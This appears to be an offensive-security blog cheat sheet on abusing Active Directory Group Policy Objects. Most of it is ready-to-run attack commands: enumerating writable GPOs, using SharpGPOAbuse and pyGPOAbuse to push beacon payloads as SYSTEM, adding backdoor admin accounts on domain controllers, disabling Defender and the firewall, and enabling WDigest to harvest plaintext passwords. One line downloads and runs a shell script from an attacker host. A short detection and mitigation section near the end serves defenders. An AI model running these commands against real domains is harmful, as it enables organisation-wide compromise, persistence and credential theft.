ᛉ Yggdrasil

Active Directory

GPO Abuse

15 Sep 2026 · 4,056 words · 18 min

Contents

Group Policy Object (GPO) abuse allows attackers with edit rights over GPOs to execute code, add local admins, and establish persistence across ALL computers/users in a linked OU — silently, at scale.

Legend: [GPO] = Group Policy Object | [OU] = Organizational Unit | [DC] = Domain Controller | [DA] = Domain Admin | [SYSVOL] = System Volume Share | [ACL] = Access Control List | [GPC] = Group Policy Container | [GPT] = Group Policy Template | [CS] = Computer/User Configuration | [AD] = Active Directory


1. What is GPO Abuse?

GPOs are Active Directory objects that define configurations applied to computers and users in linked OUs. If an attacker has write/edit rights over a GPO, they can push arbitrary commands, add local admins, or deploy persistence to every machine in the linked OU — with no additional privileges needed on those machines.

Why GPO Abuse is Devastating

Normal attack path:
DA creds → lateral move to each machine → execute payload
(slow, noisy, touches every host individually)

GPO abuse path:
GPO edit rights → modify one GPO → ALL linked machines execute payload
(fast, "legitimate" channel, looks like normal admin activity)

What You Can Do With GPO Edit Rights

Technique Effect Scope
Add Scheduled Task Execute payload as SYSTEM on every machine All linked computers
Add Local Admin Make your user local admin on all machines All linked computers
Add Startup Script Run script at computer startup All linked computers
Add Logon Script Run script at user logon All linked users
Modify Registry Change registry values domain-wide All linked computers
Deploy Software Install/remove MSI packages All linked computers
Disable Defender Turn off Windows Defender GPO settings All linked computers
Add User to Group Add user to local Administrators All linked computers

2. GPO Fundamentals

2.1 GPO Storage Structure

Active Directory stores GPO metadata in:
CN={GUID},CN=Policies,CN=System,DC=CORP,DC=LOCAL ← GPC (Group Policy Container)

File content stored on SYSVOL:

\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies{GUID}  
├── GPT.INI ← Version number + display name  
├── Machine\ ← Computer configuration  
│ ├── Scripts  
│ │ ├── Startup\ ← Startup scripts!  
│ │ └── Shutdown  
│ ├── Registry.pol ← Registry settings  
│ └── Preferences  
│ └── ScheduledTasks\ ← Scheduled tasks!  
└── User\ ← User configuration  
├── Scripts  
│ ├── Logon\ ← Logon scripts!  
│ └── Logoff  
└── Preferences  
└── Groups\ ← Local group membership!

2.2 GPO Application Process

  1. Machine/User logs in

  2. Contacts DC → gets list of GPOs linked to its OU

  3. Downloads GPT from SYSVOL

  4. Applies settings (Registry, Scripts, Tasks, Groups)

  5. Re-applies every 90 minutes (±30 min offset)
    → For DCs: every 5 minutes!

Forced refresh:
gpupdate /force ← Forces immediate GPO reapplication

2.3 GPO Rights That Matter

Right What You Can Do
GenericWrite on GPO Modify GPO settings → RCE on all linked machines
WriteDacl on GPO Modify GPO ACL → grant yourself GenericWrite
GenericAll on GPO Full control
WriteOwner on GPO Change GPO owner → grant yourself full control
CreateChild on GPO container Create new GPOs
GenericWrite on OU Link GPOs to OU
WriteDacl on OU Modify OU ACL → grant link rights

3. Enumeration — Find Abusable GPOs

3.1 BloodHound (Best Method)

# Run SharpHound with GPO collection
.\SharpHound.exe -c All,GPOLocalGroup

# In BloodHound UI — Key queries:
# "Find Shortest Paths to Domain Admins"
# "Find GPOs where Domain Users can modify"
# "Principals with GPO abuse paths"

# BloodHound edge types to look for:
# GenericWrite → GPO     = you can edit it
# WriteDacl   → GPO     = you can change ACL
# GenericAll  → GPO     = full control
# WriteOwner  → GPO     = change ownership
# GpLink      → OU      = GPO linked to this OU

3.2 PowerView Enumeration

# Import PowerView
Import-Module PowerView.ps1
# OR via SharpView (no PowerShell logs)
.\SharpView.exe Get-DomainGPO

# ==========================================
# LIST ALL GPOs
# ==========================================

# Get all GPOs in domain
Get-DomainGPO | select DisplayName, Name, gpcfilesyspath

# Get GPO by name
Get-DomainGPO -Identity "Default Domain Policy"
Get-DomainGPO -Identity "{GPO-GUID}"

# Get GPOs linked to specific OU
Get-DomainGPO -SearchBase "OU=Workstations,DC=CORP,DC=LOCAL"

# ==========================================
# FIND GPOs YOU CAN MODIFY (critical!)
# ==========================================

# Find all GPOs current user can write to
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=CORP,DC=LOCAL" -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|GenericAll|WriteOwner" -and
    $_.SecurityIdentifier -match (Get-DomainUser -Identity $env:USERNAME).objectsid
}

# Find all GPOs any low-priv user can write to
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl" -and
    $_.SecurityIdentifier -notmatch "S-1-5-18|S-1-5-19|S-1-5-20|S-1-5-32-544|S-1-5-9"
}

# ==========================================
# MAP GPO → OU → COMPUTERS (what scope?)
# ==========================================

# Find which OUs a GPO is linked to
Get-DomainOU -GPLink "{GPO-GUID}" | select distinguishedname, name

# Find all computers in a linked OU
Get-DomainComputer -SearchBase "OU=Workstations,DC=CORP,DC=LOCAL" | select dnshostname

# Full mapping: GPO → OUs → Computers
$GPO = Get-DomainGPO -Identity "Vulnerable GPO"
$GUID = $GPO.Name
$OUs = Get-DomainOU -GPLink $GUID
foreach ($OU in $OUs) {
    Write-Host "[OU] $($OU.distinguishedname)"
    Get-DomainComputer -SearchBase $OU.distinguishedname | foreach {
        Write-Host "  [Computer] $($_.dnshostname)"
    }
}

# ==========================================
# CHECK WHO IS LOCAL ADMIN VIA GPO
# ==========================================

Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GroupMemberOf, GroupMembers
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName

3.3 ADSearch / LDAP Enumeration

# Find all GPOs
.\ADSearch.exe --search "(objectClass=groupPolicyContainer)" --attributes displayName,name,gpcFileSysPath

# Find GPOs with dangerous ACLs
.\ADSearch.exe --search "(objectClass=groupPolicyContainer)" --attributes nTSecurityDescriptor,displayName

# List GPO links on OUs
.\ADSearch.exe --search "(objectClass=organizationalUnit)" --attributes gpLink,distinguishedName

3.4 Manual SYSVOL Inspection

# Browse SYSVOL (readable by all domain users!)
ls \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\

# Read GPO contents
ls \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GPO-GUID}\Machine\Preferences\

# Look for ScheduledTasks.xml (existing tasks)
cat "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml"

# Look for Groups.xml (local group members — also may contain cpassword!)
cat "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GPO-GUID}\Machine\Preferences\Groups\Groups.xml"

# cpassword = AES-encrypted password (key is PUBLIC — decrypt with Get-GPPPassword!)
# Decrypt cpassword:
.\Get-GPPPassword.ps1
# OR: gpp-decrypt CPASSWORD_VALUE  (Linux)

4. SharpGPOAbuse

Best tool for GPO abuse on Windows. C# tool that directly modifies GPO SYSVOL files and AD attributes to inject scheduled tasks, local admins, scripts, and registry values.

GitHub: https://github.com/FSecureLABS/SharpGPOAbuse

4.1 Add Scheduled Task (SYSTEM Code Execution)

# ==========================================
# IMMEDIATE scheduled task (runs RIGHT NOW — no reboot!)
# ==========================================

.\SharpGPOAbuse.exe --AddComputerTask \
    --TaskName "WindowsUpdate" \
    --Author "NT AUTHORITY\SYSTEM" \
    --Command "C:\Windows\System32\cmd.exe" \
    --Arguments "/c C:\Temp\beacon.exe" \
    --GPOName "Vulnerable GPO" \
    --Force

# ==========================================
# SYSTEM task — runs on every startup
# ==========================================

.\SharpGPOAbuse.exe --AddComputerTask \
    --TaskName "WindowsDefenderUpdate" \
    --Author "NT AUTHORITY\SYSTEM" \
    --Command "C:\Temp\beacon.exe" \
    --GPOName "Vulnerable GPO"

# ==========================================
# USER context task (runs when target user logs in)
# ==========================================

.\SharpGPOAbuse.exe --AddUserTask \
    --TaskName "OneDriveSync" \
    --Author "CORP\jsmith" \
    --Command "C:\Temp\user_beacon.exe" \
    --GPOName "Vulnerable GPO" \
    --Force

# ==========================================
# DOMAIN ADMIN targeted task (get DA shell!)
# ==========================================

# First: find which GPO is linked to OU where DA logs in
# (e.g., "Domain Controllers" OU GPO → DAs log in there!)

.\SharpGPOAbuse.exe --AddComputerTask \
    --TaskName "Telemetry" \
    --Author "NT AUTHORITY\SYSTEM" \
    --Command "C:\Windows\System32\cmd.exe" \
    --Arguments "/c net user hacker P@ssw0rd /add && net localgroup administrators hacker /add" \
    --GPOName "Default Domain Controllers Policy" \
    --Force

# ==========================================
# Force immediate GPO update (don't wait 90min!)
# ==========================================

# Option 1: Add a gpupdate task to the same GPO
.\SharpGPOAbuse.exe --AddComputerTask \
    --TaskName "GPORefresh" \
    --Author "NT AUTHORITY\SYSTEM" \
    --Command "C:\Windows\System32\gpupdate.exe" \
    --Arguments "/force" \
    --GPOName "Vulnerable GPO" \
    --Force

# Option 2: Remote gpupdate via WMI/WinRM (if you have access)
Invoke-GPUpdate -Computer TARGET -Force -RandomDelayInMinutes 0

4.2 Add Local Administrator

# Add current user as local admin on ALL machines in linked OU
.\SharpGPOAbuse.exe --AddLocalAdmin \
    --UserAccount "CORP\jsmith" \
    --GPOName "Vulnerable GPO"

# Add domain group as local admin
.\SharpGPOAbuse.exe --AddLocalAdmin \
    --UserAccount "CORP\IT-Helpdesk" \
    --GPOName "Vulnerable GPO"

# After GPO applies → verify local admin:
net localgroup Administrators
# → CORP\jsmith should appear!

# Force update on target:
gpupdate /force  # (if you can run commands on target)

4.3 Add Startup/Shutdown Scripts

# Add computer startup script (runs as SYSTEM at boot)
.\SharpGPOAbuse.exe --AddComputerScript \
    --ScriptName "startup.bat" \
    --ScriptContents "@echo off && C:\Temp\beacon.exe" \
    --GPOName "Vulnerable GPO"

# Script hosted on SYSVOL (auto-accessible to all machines!)
.\SharpGPOAbuse.exe --AddComputerScript \
    --ScriptName "init.bat" \
    --ScriptContents "cmd /c \\CORP.LOCAL\SYSVOL\CORP.LOCAL\scripts\payload.exe" \
    --GPOName "Vulnerable GPO"

# Add user logon script (runs when user logs in)
.\SharpGPOAbuse.exe --AddUserScript \
    --ScriptName "logon.bat" \
    --ScriptContents "C:\Temp\user_payload.exe" \
    --GPOName "Vulnerable GPO"

# Add shutdown script (runs on graceful shutdown — persistence!)
.\SharpGPOAbuse.exe --AddComputerScript \
    --ScriptName "shutdown.bat" \
    --ScriptContents "C:\Temp\beacon.exe" \
    --Type shutdown \
    --GPOName "Vulnerable GPO"

4.4 Modify Registry via GPO

# Disable Windows Defender real-time protection domain-wide!
.\SharpGPOAbuse.exe --AddComputerRegistry \
    --RegPath "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" \
    --RegName "DisableAntiSpyware" \
    --RegValue "1" \
    --RegType "DWORD" \
    --GPOName "Vulnerable GPO"

# Disable Windows Firewall
.\SharpGPOAbuse.exe --AddComputerRegistry \
    --RegPath "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" \
    --RegName "EnableFirewall" \
    --RegValue "0" \
    --RegType "DWORD" \
    --GPOName "Vulnerable GPO"

# Enable WDigest (make LSASS cache plaintext passwords!)
.\SharpGPOAbuse.exe --AddComputerRegistry \
    --RegPath "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" \
    --RegName "UseLogonCredential" \
    --RegValue "1" \
    --RegType "DWORD" \
    --GPOName "Vulnerable GPO"

# Enable RDP domain-wide
.\SharpGPOAbuse.exe --AddComputerRegistry \
    --RegPath "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" \
    --RegName "fDenyTSConnections" \
    --RegValue "0" \
    --RegType "DWORD" \
    --GPOName "Vulnerable GPO"

# Add registry autorun (persistence)
.\SharpGPOAbuse.exe --AddComputerRegistry \
    --RegPath "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" \
    --RegName "WindowsUpdate" \
    --RegValue "C:\Temp\beacon.exe" \
    --RegType "REG_SZ" \
    --GPOName "Vulnerable GPO"

5. PyGPOAbuse (Linux)

Python3 equivalent of SharpGPOAbuse. Modify GPO contents directly from Linux using impacket — no Windows needed.

GitHub: https://github.com/Hackndo/pyGPOAbuse

# Install
pip3 install pygpoabuse
# OR:
git clone https://github.com/Hackndo/pyGPOAbuse && cd pyGPOAbuse
pip3 install -r requirements.txt

# ==========================================
# SCHEDULED TASK (SYSTEM — immediate)
# ==========================================

python3 pygpoabuse.py CORP/jsmith:P@ssw0rd \
    -gpo-id "GPO-GUID-HERE" \
    -dc-ip DC_IP \
    -command "cmd /c C:\Temp\beacon.exe" \
    -taskname "WindowsUpdate" \
    -description "System Update Task" \
    -user-context false \
    -force

# Reverse shell one-liner via GPO
python3 pygpoabuse.py CORP/jsmith:P@ssw0rd \
    -gpo-id "GPO-GUID-HERE" \
    -dc-ip DC_IP \
    -command "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
    -taskname "Telemetry" \
    -force

# Add local admin via GPO (from Linux!)
python3 pygpoabuse.py CORP/jsmith:P@ssw0rd \
    -gpo-id "GPO-GUID-HERE" \
    -dc-ip DC_IP \
    -command "net localgroup administrators CORP\jsmith /add" \
    -taskname "UserInit" \
    -force

# ==========================================
# USE WITH PASS-THE-HASH
# ==========================================

python3 pygpoabuse.py CORP/jsmith \
    -hashes :NTLM_HASH \
    -gpo-id "GPO-GUID" \
    -dc-ip DC_IP \
    -command "C:\Temp\beacon.exe" \
    -taskname "svchost" \
    -force

# ==========================================
# FIND GPO ID (via impacket ldap)
# ==========================================

# ldapdomaindump
ldapdomaindump -u CORP\\jsmith -p P@ss DC_IP
# Check: domain_policy.json for GPO names + GUIDs

# OR PowerView on Windows:
Get-DomainGPO | select displayname, name  # 'name' = GUID

6. Manual GPO Abuse via SYSVOL

Direct file-based GPO abuse — write XML files to SYSVOL directly without tools. Useful when SharpGPOAbuse/pyGPOAbuse are flagged.

6.1 Manual Scheduled Task via XML

# Step 1: Identify GPO GUID
Get-DomainGPO -Identity "Target GPO" | select Name  # Name = {GUID}

# Step 2: Create ScheduledTasks.xml
$xml = @'
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A0CB6ED960E1}">
  <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}"
    name="WindowsUpdate"
    image="0"
    changed="2024-01-01 00:00:00"
    uid="{RANDOM-GUID}">
    <Properties
      action="C"
      name="WindowsUpdate"
      runAs="NT AUTHORITY\System"
      logonType="S4U">
      <Task version="1.3">
        <RegistrationInfo>
          <Author>Microsoft Corporation</Author>
          <Description>Windows Update Task</Description>
        </RegistrationInfo>
        <Principals>
          <Principal id="Author">
            <UserId>NT AUTHORITY\System</UserId>
            <RunLevel>HighestAvailable</RunLevel>
          </Principal>
        </Principals>
        <Settings>
          <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
          <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
          <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
          <Enabled>true</Enabled>
        </Settings>
        <Actions Context="Author">
          <Exec>
            <Command>C:\Windows\System32\cmd.exe</Command>
            <Arguments>/c C:\Temp\beacon.exe</Arguments>
          </Exec>
        </Actions>
        <Triggers>
          <TimeTrigger>
            <StartBoundary>2024-01-01T00:00:00</StartBoundary>
            <Enabled>true</Enabled>
          </TimeTrigger>
        </Triggers>
      </Task>
    </Properties>
  </ImmediateTaskV2>
</ScheduledTasks>
'@

# Step 3: Write to SYSVOL
$GPO_GUID = "{YOUR-GPO-GUID}"
$path = "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\$GPO_GUID\Machine\Preferences\ScheduledTasks"
New-Item -ItemType Directory -Path $path -Force
$xml | Out-File "$path\ScheduledTasks.xml" -Encoding UTF8

# Step 4: Increment GPO version (critical — or machines won't re-apply!)
$gpcPath = "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\$GPO_GUID\GPT.INI"
$content = Get-Content $gpcPath
$version = [int]($content | Select-String "Version=").ToString().Split("=")
$newVersion = $version + 1
$content -replace "Version=$version", "Version=$newVersion" | Set-Content $gpcPath

# Also increment version in AD object:
Set-DomainObject -Identity $GPO_GUID -Set @{versionNumber = $newVersion}

6.2 Manual Local Group via Groups.xml

# Add user to local Administrators via Groups.xml
$xml = @'
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}"
    name="Administrators (built-in)"
    image="2"
    changed="2024-01-01 00:00:00"
    uid="{RANDOM-GUID}">
    <Properties
      action="U"
      newName=""
      description=""
      deleteAllUsers="0"
      deleteAllGroups="0"
      removeAccounts="0"
      groupSid="S-1-5-32-544"
      groupName="Administrators (built-in)">
      <Members>
        <Member name="CORP\jsmith" action="ADD" sid="S-1-5-21-...-1234"/>
      </Members>
    </Properties>
  </Group>
</Groups>
'@

$GPO_GUID = "{YOUR-GPO-GUID}"
$path = "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\$GPO_GUID\Machine\Preferences\Groups"
New-Item -ItemType Directory -Path $path -Force
$xml | Out-File "$path\Groups.xml" -Encoding UTF8

# Increment GPO version (same as above)

7. PowerView GPO Attacks

# ==========================================
# ENUMERATE GPO → OU → COMPUTER MAPPING
# ==========================================

# Full attack path mapper
Get-DomainGPO | ForEach-Object {
    $gpo = $_
    Get-DomainOU -GPLink $gpo.Name | ForEach-Object {
        $ou = $_
        $computers = Get-DomainComputer -SearchBase $ou.distinguishedname
        [PSCustomObject]@{
            GPO       = $gpo.DisplayName
            GPO_GUID  = $gpo.Name
            OU        = $ou.distinguishedname
            Computers = ($computers.dnshostname -join ", ")
        }
    }
} | Format-Table -AutoSize

# ==========================================
# FIND WHO CAN EDIT EACH GPO
# ==========================================

Get-DomainGPO | ForEach-Object {
    $gpo = $_
    Get-DomainObjectAcl -Identity $gpo.distinguishedname -ResolveGUIDs | Where-Object {
        $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl|WriteOwner" -and
        $_.SecurityIdentifier -notmatch "S-1-5-18|S-1-5-32-544|S-1-5-9"
    } | ForEach-Object {
        $sid = $_.SecurityIdentifier
        $user = ConvertFrom-SID $sid
        [PSCustomObject]@{
            GPO   = $gpo.DisplayName
            User  = $user
            Right = $_.ActiveDirectoryRights
        }
    }
} | Format-Table -AutoSize

# ==========================================
# MAP USER → GPO ABUSE PATH
# ==========================================

# "What machines can jsmith reach via GPO abuse?"
Get-DomainGPOUserLocalGroupMapping -Identity jsmith -LocalGroup Administrators
# Output:
# ObjectName: jsmith
# GPODisplayName: IT Machines Policy
# ContainerName: OU=Workstations,DC=CORP,DC=LOCAL
# ComputerName: WS01.CORP.LOCAL, WS02.CORP.LOCAL  ← jsmith is local admin here!

# Find where DA has GPO-based local admin (pivot target!)
Get-DomainGPOUserLocalGroupMapping -Identity "Domain Admins" -LocalGroup Administrators

8. Abusing GPO Creation Rights

If you have CreateChild rights on CN=Policies,CN=System,DC=CORP,DC=LOCAL, you can create brand new GPOs and link them to OUs — no need to modify existing GPOs.

# Check if you can create GPOs
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=CORP,DC=LOCAL" -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "CreateChild" -and
    $_.SecurityIdentifier -match (Get-DomainUser $env:USERNAME).objectsid
}

# Check if you can link GPOs to an OU
Get-DomainObjectAcl -Identity "OU=Workstations,DC=CORP,DC=LOCAL" -ResolveGUIDs | Where-Object {
    $_.ObjectType -match "GP-Link" -and
    $_.SecurityIdentifier -match (Get-DomainUser $env:USERNAME).objectsid
}

# ==========================================
# CREATE NEW GPO + LINK + ABUSE
# (requires RSAT / PowerShell GPO module)
# ==========================================

# Step 1: Create new GPO
New-GPO -Name "Windows Security Update"

# Step 2: Link to target OU
New-GPLink -Name "Windows Security Update" -Target "OU=Workstations,DC=CORP,DC=LOCAL"

# Step 3: Configure malicious scheduled task via GPO
Set-GPPrefRegistryValue -Name "Windows Security Update" `
    -Context Computer `
    -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" `
    -ValueName "Update" `
    -Value "C:\Temp\beacon.exe" `
    -Type String `
    -Action Update

# Step 4: Abuse using SharpGPOAbuse (specify new GPO name)
.\SharpGPOAbuse.exe --AddComputerTask \
    --TaskName "Updater" \
    --Author "NT AUTHORITY\SYSTEM" \
    --Command "C:\Temp\beacon.exe" \
    --GPOName "Windows Security Update" \
    --Force

9. GPO Abuse via ACL Modification

If you have WriteDacl or WriteOwner on a GPO, first grant yourself GenericWrite, then modify the GPO freely.

# ==========================================
# ESCALATE FROM WriteDacl → GenericWrite
# ==========================================

# Step 1: Confirm WriteDacl right
Get-DomainObjectAcl -Identity "{GPO-GUID}" -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "WriteDacl" -and
    $_.SecurityIdentifier -match (Get-DomainUser $env:USERNAME).objectsid
}

# Step 2: Grant yourself GenericWrite on the GPO
Add-DomainObjectAcl -TargetIdentity "{GPO-GUID}" \
    -PrincipalIdentity "CORP\jsmith" \
    -Rights GenericWrite \
    -Verbose

# Step 3: Verify new rights
Get-DomainObjectAcl -Identity "{GPO-GUID}" -ResolveGUIDs | Where-Object {
    $_.SecurityIdentifier -match (Get-DomainUser jsmith).objectsid
}

# Step 4: Abuse with SharpGPOAbuse
.\SharpGPOAbuse.exe --AddComputerTask \
    --TaskName "MicrosoftEdgeUpdate" \
    --Author "NT AUTHORITY\SYSTEM" \
    --Command "C:\Temp\beacon.exe" \
    --GPOName "Target GPO" \
    --Force

# ==========================================
# WriteOwner → Full Control
# ==========================================

# Step 1: Take ownership of GPO
Set-DomainObjectOwner -Identity "{GPO-GUID}" -OwnerIdentity "CORP\jsmith"

# Step 2: Grant yourself full control
Add-DomainObjectAcl -TargetIdentity "{GPO-GUID}" \
    -PrincipalIdentity "CORP\jsmith" \
    -Rights All

# Step 3: Now abuse freely

10. BloodHound GPO Attack Paths

Key BloodHound edges for GPO abuse:

jsmith ──[GenericWrite]──→ GPO-1 ──[GpLink]──→ OU-Workstations
│
[Contains]
│
WS01, WS02, WS03
→ jsmith can execute code as SYSTEM on WS01, WS02, WS03!

jsmith ──[WriteDacl]──→ GPO-1
→ jsmith can grant himself GenericWrite → then full GPO abuse

jsmith ──[GenericWrite]──→ OU-1
→ jsmith can link new GPO to OU-1

Custom BloodHound queries (Cypher):

// Find all GPOs any user can write to
MATCH (u:User)-[r:GenericWrite|WriteDacl|GenericAll|WriteOwner]->(g:GPO)
WHERE NOT u.name CONTAINS "ADMIN"
RETURN u.name, type(r), g.name

// Find GPO → OU → Computer full path
MATCH p=(g:GPO)-[r:GpLink]->(o:OU)-[s:Contains]->(c:Computer)
RETURN g.name, o.name, c.name

// Find shortest path from owned user to GPO abuse
MATCH p=shortestPath((u:User {owned:true})-[*1..5]->(g:GPO))
WHERE ANY(r IN relationships(p) WHERE type(r) IN ["GenericWrite","WriteDacl","GenericAll"])
RETURN p

11. GPO Abuse Scenarios

Scenario 1: Add Local Admin (Low Noise)

# Situation: Have GenericWrite on "Workstation Policy" GPO
# Goal: Become local admin on all workstations

# 1. Confirm scope
Get-DomainOU -GPLink "{WORKSTATION-GPO-GUID}" | Get-DomainComputer -Recurse | select dnshostname

# 2. Add yourself as local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "CORP\jsmith" --GPOName "Workstation Policy"

# 3. Wait for GPO refresh (90 min) OR force update
Invoke-WmiMethod -ComputerName TARGET -Namespace "root\cimv2" -Class Win32_Process -Name Create -ArgumentList "gpupdate /force"

# 4. Verify
.\SharpView.exe Get-DomainGPOUserLocalGroupMapping -Identity jsmith -LocalGroup Administrators

Scenario 2: SYSTEM Shell via Scheduled Task (Fastest DA Path)

# Situation: Have GenericWrite on "Default Domain Controllers Policy"
# Scope: ALL domain controllers!
# Goal: Execute payload as SYSTEM on DC

# 1. Prep: Stage payload on accessible share or embed command
# 2. Add immediate task
.\SharpGPOAbuse.exe --AddComputerTask \
    --TaskName "WinDefUpdate" \
    --Author "NT AUTHORITY\SYSTEM" \
    --Command "cmd.exe" \
    --Arguments "/c net user backdoor P@ss123! /add && net localgroup administrators backdoor /add" \
    --GPOName "Default Domain Controllers Policy" \
    --Force

# 3. Wait / force refresh
# 4. Login with new DA account!

Scenario 3: Mass Credential Harvesting (Enable WDigest)

# Situation: Have GPO edit rights on "Domain Computers Policy"
# Goal: Enable WDigest so plaintext creds cached in LSASS on ALL machines

# 1. Enable WDigest domain-wide via GPO
.\SharpGPOAbuse.exe --AddComputerRegistry \
    --RegPath "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" \
    --RegName "UseLogonCredential" \
    --RegValue "1" \
    --RegType "DWORD" \
    --GPOName "Domain Computers Policy"

# 2. Wait for GPO refresh (users need to log off/on)
# 3. When users re-authenticate → LSASS now caches plaintext!
# 4. Run credential dump via any access:
.\SafetyKatz.exe → sekurlsa::wdigest  # NOW SHOWS PLAINTEXT PASSWORDS!

Scenario 4: Persistence via Logon Script

# Situation: Have GPO rights over "Domain Users Policy"
# Goal: Execute payload on EVERY user logon across the domain

.\SharpGPOAbuse.exe --AddUserScript \
    --ScriptName "MicrosoftSync.bat" \
    --ScriptContents "C:\ProgramData\MicrosoftSync\agent.exe" \
    --GPOName "Domain Users Policy"

# Alternative: SYSVOL-hosted script (always accessible)
.\SharpGPOAbuse.exe --AddUserScript \
    --ScriptName "Sync.bat" \
    --ScriptContents "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\scripts\agent.exe" \
    --GPOName "Domain Users Policy"

12. Detection & Defense

12.1 Key Event IDs

Event ID Source Detects
5136 Windows Security AD object modified (GPO GPC changed)
5137 Windows Security New AD object created (new GPO)
5141 Windows Security AD object deleted (GPO removed)
4662 Windows Security Operation on AD object (GPO read/write)
4704 Windows Security User right assigned (new local admin via GPO)
4688 Windows Security Process created (gpupdate.exe, schtasks.exe)
File Audit Sysmon/FileAudit New files written to \\*\SYSVOL\*\Policies\*
Sysmon 11 Sysmon File created in SYSVOL path
Sysmon 13 Sysmon Registry write from GPO scheduled task

12.2 Mitigations

Mitigation What it Prevents
Regular GPO ACL audit Find misconfigured GenericWrite/WriteDacl rights
Restrict GPO creation Only designated admins can create GPOs (CreateChild on Policies container)
Restrict GPO linking Only designated admins can link GPOs to OUs
SYSVOL file integrity monitoring Detect new/modified files in Policies\ folders
Event 5136 alerting Alert on ANY GPO modification (especially from non-DA accounts)
Tiered admin model Admins who manage GPOs never log into workstations
Protected Users group DA accounts can't be coerced into GPO-linked machines
BloodHound periodic runs Continuously audit GPO attack paths

12.3 GPO ACL Hardening

# Audit GPO ACLs (run as DA regularly)
Get-DomainGPO | ForEach-Object {
    $gpo = $_
    Get-DomainObjectAcl -Identity $gpo.distinguishedname -ResolveGUIDs | Where-Object {
        $_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|GenericAll|WriteOwner" -and
        $_.SecurityIdentifier -notmatch "S-1-5-18|S-1-5-32-544|S-1-5-9|S-1-5-32-548"
    } | ForEach-Object {
        Write-Warning "DANGEROUS ACL: $(ConvertFrom-SID $_.SecurityIdentifier) has $($_.ActiveDirectoryRights) on $($gpo.DisplayName)"
    }
}

# Remove dangerous ACL (fix misconfiguration)
Remove-DomainObjectAcl -TargetIdentity "{GPO-GUID}" \
    -PrincipalIdentity "CORP\HelpDesk" \
    -Rights GenericWrite

# Enable SYSVOL file auditing
auditpol /set /subcategory:"File System" /success:enable /failure:enable
# Add SACL on SYSVOL\Policies folder for write/delete operations

13. Complete Cheat Sheet

# ==========================================
# RECON — FIND ABUSABLE GPOs
# ==========================================

# BloodHound (best)
.\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\Temp
# → Import to BloodHound → query: "Find GPOs where user has write"

# PowerView
.\SharpView.exe Get-DomainGPO                              # List all GPOs
Get-DomainGPOLocalGroup                                    # GPO local group mappings
Get-DomainGPOUserLocalGroupMapping -Identity jsmith        # Where is jsmith local admin?
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=CORP,DC=LOCAL" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl" }

# ADSearch
.\ADSearch.exe --search "(objectClass=groupPolicyContainer)" --attributes displayName,name,gpcFileSysPath

# Manual SYSVOL browse
ls \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\
cat "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml"
# Look for cpassword → decrypt: gpp-decrypt CPASSWORD_VALUE

# ==========================================
# EXPLOIT — WINDOWS (SharpGPOAbuse)
# ==========================================

# Scheduled task SYSTEM (immediate)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" --Command "C:\Temp\beacon.exe" --GPOName "TARGET GPO" --Force

# Add local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "CORP\jsmith" --GPOName "TARGET GPO"

# Computer startup script
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName "init.bat" --ScriptContents "C:\Temp\beacon.exe" --GPOName "TARGET GPO"

# User logon script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName "logon.bat" --ScriptContents "C:\Temp\payload.exe" --GPOName "TARGET GPO"

# Enable WDigest (plaintext creds after user re-login)
